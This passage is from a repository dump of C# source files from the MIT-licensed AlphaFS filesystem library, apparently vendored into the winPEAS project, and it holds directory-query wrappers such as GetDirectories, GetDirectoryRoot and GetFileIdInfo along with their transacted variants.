<para>This limitation also applies to the SetCurrentDirectory and GetFullPathName functions. The exception being when the application is guaranteed to be running in a single thread,\n      ///   for example parsing file names from the command line argument string in the main thread prior to creating any additional threads.</para>\n      ///   <para>Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported.</para>\n      /// </para>\n      /// </summary>\n      /// <returns>The path of the current working directory without a trailing directory separator.</returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1024:UsePropertiesWhereAppropriate\"), SecurityCritical]\n      public static string GetCurrentDirectory()\n      {\n         var nameBuffer = new StringBuilder(NativeMethods.MaxPathUnicode);\n\n         // GetCurrentDirectory()\n         // 2016-09-29: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n         // 2017-05-30: MSDN confirms LongPath usage: Starting with Windows 10, version 1607\n         // 2018-01-15: MSDN confirmation is gone?\n\n         var folderNameLength = NativeMethods.GetCurrentDirectory((uint) nameBuffer.Capacity, nameBuffer);\n         var lastError = Marshal.GetLastWin32Error();\n\n         if (folderNameLength == 0)\n            NativeError.ThrowException(lastError);\n\n         if (folderNameLength > NativeMethods.MaxPathUnicode)\n            throw new PathTooLongException(string.Format(CultureInfo.InvariantCulture, \"Path is greater than {0} characters: {1}\", NativeMethods.MaxPathUnicode, folderNameLength));\n\n         return nameBuffer.ToString();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetDirectories.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Returns the names of subdirectories (including their paths) in the specified directory.</summary>\n      /// <returns>An array of the full names (including paths) of subdirectories in the specified path, or an empty array if no directories are found.</returns>\n      /// <remarks>\n      ///   <para>The names returned by this method are prefixed with the directory information provided in path.</para>\n      ///   <para>The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static string[] GetDirectories(string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>Returns the names of subdirectories (including their paths) that match the specified search pattern in the specified directory.</summary>\n      /// <returns>An array of the full names (including paths) of the subdirectories that match the search pattern in the specified directory, or an empty array if no directories are found.</returns>\n      /// <remarks>\n      ///   <para>The names returned by this method are prefixed with the directory information provided in path.</para>\n      ///   <para>The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetDirectories(string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>Returns the names of the subdirectories (including their paths) that match the specified search pattern in the specified directory, and optionally searches subdirectories.</summary>\n      /// <returns>An array of the full names (including paths) of the subdirectories that match the specified criteria, or an empty array if no directories are found.</returns>\n      /// <remarks>\n      ///   <para>The names returned by this method are prefixed with the directory information provided in path.</para>\n      ///   <para>The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetDirectories(string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetDirectoriesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns the names of subdirectories (including their paths) in the specified directory.</summary>\n      /// <returns>An array of the full names (including paths) of subdirectories in the specified path, or an empty array if no directories are found.</returns>\n      /// <remarks>\n      ///   <para>The names returned by this method are prefixed with the directory information provided in path.</para>\n      ///   <para>The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static string[] GetDirectoriesTransacted(KernelTransaction transaction, string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Returns the names of subdirectories (including their paths) that match the specified search pattern in the specified directory.</summary>\n      /// <returns>An array of the full names (including paths) of the subdirectories that match the search pattern in the specified directory, or an empty array if no directories are found.</returns>\n      /// <remarks>\n      ///   <para>The names returned by this method are prefixed with the directory information provided in path.</para>\n      ///   <para>The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Returns the names of the subdirectories (including their paths) that match the specified search pattern in the specified directory, and optionally searches subdirectories.</summary>\n      /// <returns>An array of the full names (including paths) of the subdirectories that match the specified criteria, or an empty array if no directories are found.</returns>\n      /// <remarks>\n      ///   <para>The names returned by this method are prefixed with the directory information provided in path.</para>\n      ///   <para>The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetDirectoryRoot.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Returns the volume information, root information, or both for the specified path.</summary>\n      /// <returns>The volume information, root information, or both for the specified path, or <c>null</c> if <paramref name=\"path\"/> path does not contain root directory information.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">The path of a file or directory.</param>\n      [SecurityCritical]\n      public static string GetDirectoryRoot(string path)\n      {\n         return GetDirectoryRootCore(null, path, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns the volume information, root information, or both for the specified path.</summary>\n      /// <returns>The volume information, root information, or both for the specified path, or <c>null</c> if <paramref name=\"path\"/> path does not contain root directory information.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">The path of a file or directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static string GetDirectoryRoot(string path, PathFormat pathFormat)\n      {\n         return GetDirectoryRootCore(null, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetDirectoryRootTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns the volume information, root information, or both for the specified path.</summary>\n      /// <returns>The volume information, root information, or both for the specified path, or <c>null</c> if <paramref name=\"path\"/> path does not contain root directory information.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path of a file or directory.</param>\n      [SecurityCritical]\n      public static string GetDirectoryRootTransacted(KernelTransaction transaction, string path)\n      {\n         return GetDirectoryRootCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns the volume information, root information, or both for the specified path.</summary>\n      /// <returns>The volume information, root information, or both for the specified path, or <c>null</c> if <paramref name=\"path\"/> path does not contain root directory information.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path of a file or directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static string GetDirectoryRootTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetDirectoryRootCore(transaction, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileIdInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the unique identifier for a directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time.</remarks>\n      /// <param name=\"path\">The path to the directory.</param>\n      [SecurityCritical]\n      public static FileIdInfo GetFileIdInfo(string path)\n      {\n         return File.GetFileIdInfoCore(null, true, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the unique identifier for a directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time.</remarks>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileIdInfo GetFileIdInfo(string path, PathFormat pathFormat)\n      {\n         return File.GetFileIdInfoCore(null, true, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileIdInfoTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the unique identifier for a directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      [SecurityCritical]\n      public static FileIdInfo GetFileIdInfoTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetFileIdInfoCore(transaction, true, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the unique identifier for a directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileIdInfo GetFileIdInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetFileIdInfoCore(transaction, true, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileInfoByHandle.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Retrieves file information for the specified directory.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time.</remarks>\n      /// <param name=\"path\">The path to the directory.</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandle(string path)\n      {\n         return File.GetFileInfoByHandleCore(null, true, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves file information for the specified directory.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time.</remarks>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandle(string path, PathFormat pathFormat)\n      {\n         return File.GetFileInfoByHandleCore(null, true, path, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves file information for the specified <see cref=\"SafeFileHandle\"/>.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time.</remarks>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> connected to the open file or directory from which to retrieve the information.</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandle(SafeFileHandle handle)\n      {\n         return File.GetFileInfoByHandle(handle);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileInfoByHandleTransacted.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Retrieves file information for the specified directory.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandleTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetFileInfoByHandleCore(transaction, true, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves file information 